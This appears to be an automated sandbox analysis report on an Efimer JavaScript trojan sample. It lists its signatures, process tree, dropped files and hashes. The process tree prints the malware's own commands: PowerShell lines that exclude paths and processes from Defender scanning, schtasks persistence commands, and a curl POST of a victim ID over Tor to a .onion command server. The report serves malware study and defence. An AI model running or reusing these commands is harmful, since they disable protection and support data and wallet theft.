Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    18/05/2026, 16:08

General

  • Target
    common.dat.exe
  • Size 13.2MB
  • Sample260518-tlkpyabw7m
  • SHA256 c488f37dc1629daa72df9f42876bfe9c213bedfbe10dea5ef54bb4b410e5528e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Efimer

    Efimer is a trojan written in JS.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 15 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\common.dat.exe
    "C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Users\Admin\AppData\Local\Temp\common.dat.exe
      "C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3516
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3560
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4488
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3208
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4472
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2344
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3632
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1456
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2744
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:212
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4892
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1536
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Get-MpComputerStatus | Out-Null"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4336
      • C:\Windows\SYSTEM32\curl.exe
        curl -s --max-time 10 https://ipinfo.io/country
        3⤵
          PID:2060
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /create /tn ufino /xml C:\Users\Public\Documents\uzaya\ufino.xml /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4176
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /create /tn ocafa /xml C:\Users\Public\Documents\uzaya\ocafa.xml /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4472
    • C:\Windows\System32\wscript.exe
      C:\Windows\System32\wscript.exe
      1⤵
        PID:1888
      • C:\Windows\System32\wscript.exe
        C:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ocafa.js
        1⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:2776
        • C:\Users\Public\Documents\uzaya\ugate.exe
          "C:\Users\Public\Documents\uzaya\ugate.exe"
          2⤵
          • Executes dropped EXE
          PID:3404
        • C:\Windows\System32\curl.exe
          "C:\Windows\System32\curl.exe" -X POST -d "version=2.0&GUID=vt1z-dfcfdce6&FLAG=0&GEIP=??&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile
          2⤵
            PID:4684
        • C:\Windows\System32\wscript.exe
          C:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ufino.js
          1⤵
            PID:4312

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 9f7f29a4696876cadca3f14d7e43f9ede0c97fd64be3f5d94bda49a91b6a419e
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 30bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 cbf20404c609c0792de4320ac3fa1806269cf5d97420565e3f43d409a11a2808
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 8313a191aa9d11cce868d95ac9a9b1609275bfe93131fcb6e547b985b0242fbe
                • MD5 SHA1 SHA512 TLSH

                VCRUNTIME140.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\VCRUNTIME140.dll
                • Size 117KB
                • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
                • MD5 SHA1 SHA512 SSDEEP TLSH

                VCRUNTIME140_1.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\VCRUNTIME140_1.dll
                • Size 48KB
                • SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _bz2.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_bz2.pyd
                • Size 82KB
                • SHA256 fc3b481684b926350057e263622a2a5335b149a0498a8d65c4f37e39dd90b640
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _ctypes.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_ctypes.pyd
                • Size 128KB
                • SHA256 f63c6c7e71c342084d8f1a108786ca6975a52cefef8be32cc2589e6e2fe060c8
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _decimal.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_decimal.pyd
                • Size 271KB
                • SHA256 b715d1c18e9a9c1531f21c02003b4c6726742d1a2441a1893bc3d79d7bb50e91
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _hashlib.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_hashlib.pyd
                • Size 62KB
                • SHA256 838d5c8b7c3212c8429baf612623abbbc20a9023eec41e34e5461b76a285b86c
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _lzma.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_lzma.pyd
                • Size 154KB
                • SHA256 d080eabd015a3569813a220fd4ea74dff34ed2a8519a10473eb37e22b1118a06
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _socket.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_socket.pyd
                • Size 81KB
                • SHA256 35246b04c6c7001ca448554246445a845ce116814a29b18b617ea38752e4659b
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _uuid.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_uuid.pyd
                • Size 25KB
                • SHA256 f9d5008f0772aa0720bc056a6ecd5a2a3f24965e4b470b022d88627a436c1ffe
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _wmi.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_wmi.pyd
                • Size 37KB
                • SHA256 6435c679a3a3ff4f16708ebc43f7ca62456c110ac1ea94f617d8052c90c143c7
                • MD5 SHA1 SHA512 SSDEEP TLSH

                base_library.zip

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\base_library.zip
                • Size 1.3MB
                • SHA256 9ba38ed674bc0393797502d9331229381cfb890983551c3c56f2fced629167f0
                • MD5 SHA1 SHA512 SSDEEP TLSH

                addrs.txt

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\data_pack\addrs.txt
                • Size 1.4MB
                • SHA256 f8efe50fb9cddd92323262ab7cc4fb243655fbdabcd8ce535f7976e541bc3aef
                • MD5 SHA1 SHA512 SSDEEP TLSH

                jobfs_d.js

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\data_pack\jobfs_d.js
                • Size 20KB
                • SHA256 d7dda0c75d23b80125c018d30de009216cf8bc383b566760ead3c17b195dd118
                • MD5 SHA1 SHA512 SSDEEP TLSH

                jobfs_n.js

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\data_pack\jobfs_n.js
                • Size 33KB
                • SHA256 372c9e53273139020a28ee8660e22a0aa0d75862cff34bc45b816113c959654b
                • MD5 SHA1 SHA512 SSDEEP TLSH

                jpack.js

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\data_pack\jpack.js
                • Size 2KB
                • SHA256 ff701a105bd1d5958cdf8d66052cbc7d6c0a685bc5adc4f017eb46c02343b184
                • MD5 SHA1 SHA512 TLSH

                task.xml

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\data_pack\task.xml
                • Size 3KB
                • SHA256 b241e160e3e879864809b1aa89b91ab83e05359bca641a0e3d2ab002e3ed62c6
                • MD5 SHA1 SHA512 TLSH

                ugate.exe

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\data_pack\ugate.exe
                • Size 8.6MB
                • SHA256 8b59e9d7f2257ea478c9eaddd649173ad8b689f50c3974ee5130b68b8fac0753
                • MD5 SHA1 SHA512 SSDEEP TLSH

                words.txt

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\data_pack\words.txt
                • Size 14KB
                • SHA256 bbcec5e1141d3e2b4a01099756cd6f1f57c03320a7ee535642ef0d99bdf58cc7
                • MD5 SHA1 SHA512 SSDEEP TLSH

                libcrypto-3.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\libcrypto-3.dll
                • Size 5.0MB
                • SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
                • MD5 SHA1 SHA512 SSDEEP TLSH

                libffi-8.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\libffi-8.dll
                • Size 38KB
                • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _psutil_windows.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\psutil\_psutil_windows.pyd
                • Size 69KB
                • SHA256 0035450801bd7d938e9e146c5ec28e619cb5a5f4a18cdc53ac7e9734c7f94f78
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pyarmor_runtime.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\pyarmor_runtime_000000\pyarmor_runtime.pyd
                • Size 625KB
                • SHA256 5f52df201d3046c0bd0c9287d702b2cba714fc6ffbc53875067ec21fa1c425e3
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python3.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\python3.dll
                • Size 68KB
                • SHA256 a5c6a329698490a035133433928d04368ce6285bb91a9d074fc285de4c9a32a4
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python313.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\python313.dll
                • Size 5.8MB
                • SHA256 0c0a66505093b6a4bb3475f716bd3d9552095776f6a124709c13b3f9552c7d99
                • MD5 SHA1 SHA512 SSDEEP TLSH

                select.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\select.pyd
                • Size 30KB
                • SHA256 78e5994c29d8851f28b5b12d59d742d876683aea58eceea1fb895b2036cdcdeb
                • MD5 SHA1 SHA512 SSDEEP TLSH

                unicodedata.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\unicodedata.pyd
                • Size 693KB
                • SHA256 2693c7ee4fba55dc548f641c0cb94485d0e18596ffef16541bd43a5104c28b20
                • MD5 SHA1 SHA512 SSDEEP TLSH

                __PSScriptPolicyTest_h3vuz0uq.yoj.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h3vuz0uq.yoj.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                cached-microdesc-consensus.tmp

                • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdesc-consensus.tmp
                • Size 3.4MB
                • SHA256 f50eb6cc5af5e3c7c63d0f7058fc796398e008d977242cccee32f1d1a93d3d8c
                • MD5 SHA1 SHA512 SSDEEP TLSH

                cached-microdescs.new

                • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
                • Size 9.7MB
                • SHA256 e0850e00cb982ecffb8ed8742175e0e030a7b4222e4f1f48f9a6fbe3a81bfd6e
                • MD5 SHA1 SHA512 SSDEEP TLSH

                GUID

                • Path C:\Users\Public\Documents\uzaya\GUID
                • Size 13B
                • SHA256 9d90da9560b260daedaab7209724e333ba183086aa87003d342e5f3ad1395773
                • MD5 SHA1 SHA512

                addrs.txt

                • Path C:\Users\Public\Documents\uzaya\addrs.txt
                • Size 1.4MB
                • SHA256 9de315d175129958a383e63d31807d9a18c6799b3b951d254514440474820c12
                • MD5 SHA1 SHA512 SSDEEP TLSH

                ocafa.js

                • Path C:\Users\Public\Documents\uzaya\ocafa.js
                • Size 51KB
                • SHA256 bafdb19cd0ffb7f69c99e26967eec6abf08326f7b03c9576decdf3444bd4014e
                • MD5 SHA1 SHA512 SSDEEP TLSH

                ocafa.xml

                • Path C:\Users\Public\Documents\uzaya\ocafa.xml
                • Size 3KB
                • SHA256 bb6c1575e7e73d6e1b07d6748eee6bbc32ddeed2be2a1829c2900240a8873dfd
                • MD5 SHA1 SHA512 TLSH

                ufino.js

                • Path C:\Users\Public\Documents\uzaya\ufino.js
                • Size 32KB
                • SHA256 ce922470dfbccd91c2546b495ed856a5e20fb2334379c2db36ea0b7bdc7efc20
                • MD5 SHA1 SHA512 SSDEEP TLSH

                ufino.xml

                • Path C:\Users\Public\Documents\uzaya\ufino.xml
                • Size 3KB
                • SHA256 5cbfa3e18446434aa15a3ed44d636c5e8f2c05c77916a4383692e6223b5c5064
                • MD5 SHA1 SHA512 TLSH

                ugate.exe

                • Path C:\Users\Public\Documents\uzaya\ugate.exe
                • Size 8.6MB
                • SHA256 6b866c187a0dee2fb751a8990d50dc1ed83f68e025720081e4d8e27097067dc8
                • MD5 SHA1 SHA512 SSDEEP TLSH

                words.txt

                • Path C:\Users\Public\Documents\uzaya\words.txt
                • Size 14KB
                • SHA256 d2bd2aeb50ac5df60c1eb10afcec2b680d5a8a9f2bbc74a15c45bf3525528334
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/1564-150-0x00007FF7DBB50000-0x00007FF7DBB82000-memory.dmp

                memory/1564-82-0x00007FF7DBB50000-0x00007FF7DBB82000-memory.dmp

                memory/3516-148-0x00007FF7DBB50000-0x00007FF7DBB82000-memory.dmp

                memory/3516-149-0x0000000070180000-0x000000007022B000-memory.dmp

                memory/3516-92-0x00007FF7DBB50000-0x00007FF7DBB82000-memory.dmp

                memory/3516-93-0x0000000070180000-0x000000007022B000-memory.dmp

                memory/3632-95-0x0000020BDD500000-0x0000020BDD71C000-memory.dmp

                memory/4336-124-0x000001D2F7E60000-0x000001D2F807C000-memory.dmp

                memory/4488-62-0x000001FA7C280000-0x000001FA7C290000-memory.dmp

                memory/4488-61-0x000001FA7C280000-0x000001FA7C290000-memory.dmp

                memory/4488-70-0x000001FA63EA0000-0x000001FA63EC2000-memory.dmp

                memory/4892-114-0x0000028AF2740000-0x0000028AF295C000-memory.dmp